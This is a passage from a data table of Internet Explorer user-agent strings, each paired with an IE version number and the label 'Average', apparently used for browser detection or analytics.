.NET4.0E),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; Tablet PC 2.0),8,Average\nMozilla/5.0 (compatible; WOW64; MSIE 10.0; Windows NT 6.2),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; UHG_Win7_Build 11-15-2010),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAPBJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MATBJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASBJS),10,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; managedpc; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; yie8),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322),7,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MDDRJS),9,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENCAWOL; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; FunWebProducts; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATM; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Win64; x64; Trident/7.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts),9,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASMJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; CTL_11; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; yie10),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; f9J; InfoPath.3),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; ASU2JS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/6.0),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; InfoPath.3),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MALCJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MAARJS),10,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727),6,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMCM; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MATM),9,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/7.0),11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMSE; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; yie9),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; WOW64; Trident/7.0),11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;MyIE2; .NET CLR 2.0.50727; .NET CLR 1.1.4322),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0) Match by Siteimprove.com,7,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE11;ENUSMSN; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; XF_mmhpset),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENGB),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; EIE10;ENUSWOL),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2),8,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 635) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MATBJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB0.0; JobsSearchToolbar 1.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;FRFR),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MATMJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MAAU; NP09),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; FunWebProducts),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;NLNL),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:QUALIFIED),11,Average\nMozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0,9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2; MAGW),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAPBJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; InfoPath.3; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; 909),,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MAARJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MASAJS),10,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAGWJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MATPJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; CPNTDFJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3; HO32600; HO32600R),8,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 640 LTE) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; IE0006_ver1;EN_US),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506),7,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MANM; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/7.0; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MASMJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),10,Average\nMozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 6.0 Robot),4,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705),6,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; Hotbar 11.0.78.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MALC; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; MALC),10,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; CTL_IE11; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1),9,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TAJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; WinNT-EVI 19.12.2009; AskTbEPC/5.14.1.20007),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUSBO0026),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; EIE10;ENUSMSN),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; Tablet PC 2.0; BOIE9;ENUSSEM),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.5.21022; .NET4.0C; Media Center PC 5.0; SLCC1; Tablet PC 2.0; BRI/1; EIE10;ENUSWOL),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; A7F),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Win32),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENCA),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; msn OptimizedIE8;NLBE),9,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 635) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUSMSE),9,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; AmSavS),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI/2; MAEM),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),7,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; .NET4.0E; WebMoney Advisor),10,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; TBTE; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASEJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),7,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SearchToolbar 1.2; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; AskTbORJ/5.15.14.29495; BOIE9;ENUS),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; AskTbORJ/5.15.23.36191; MDDRJS),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MALC),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATMJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MATBJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MALCJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie9; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8; TD_LCK_V80_01),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATPJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5),8,Average\nMozilla/5.0 (compatible; MSIE 9.11; Windows NT 6.1; Trident/5.0),9,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; ASJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.5.21022; .NET4.0C; Media Center PC 5.0; SLCC1; Tablet PC 2.0; BRI/1; .NET4.0E; EIE10;ENUSWOL),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; NP08; .NET4.0C; AskTbORJ/5.15.25.36191; NP08; MAAU),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; SMJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3; MASMJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; BRI/2; .NET4.0C; LEN2),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2; MAGW),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2),11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MASPJS),10,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/8.0),,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;FRBE),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0; HPDTDFJS),10,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAMIJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; 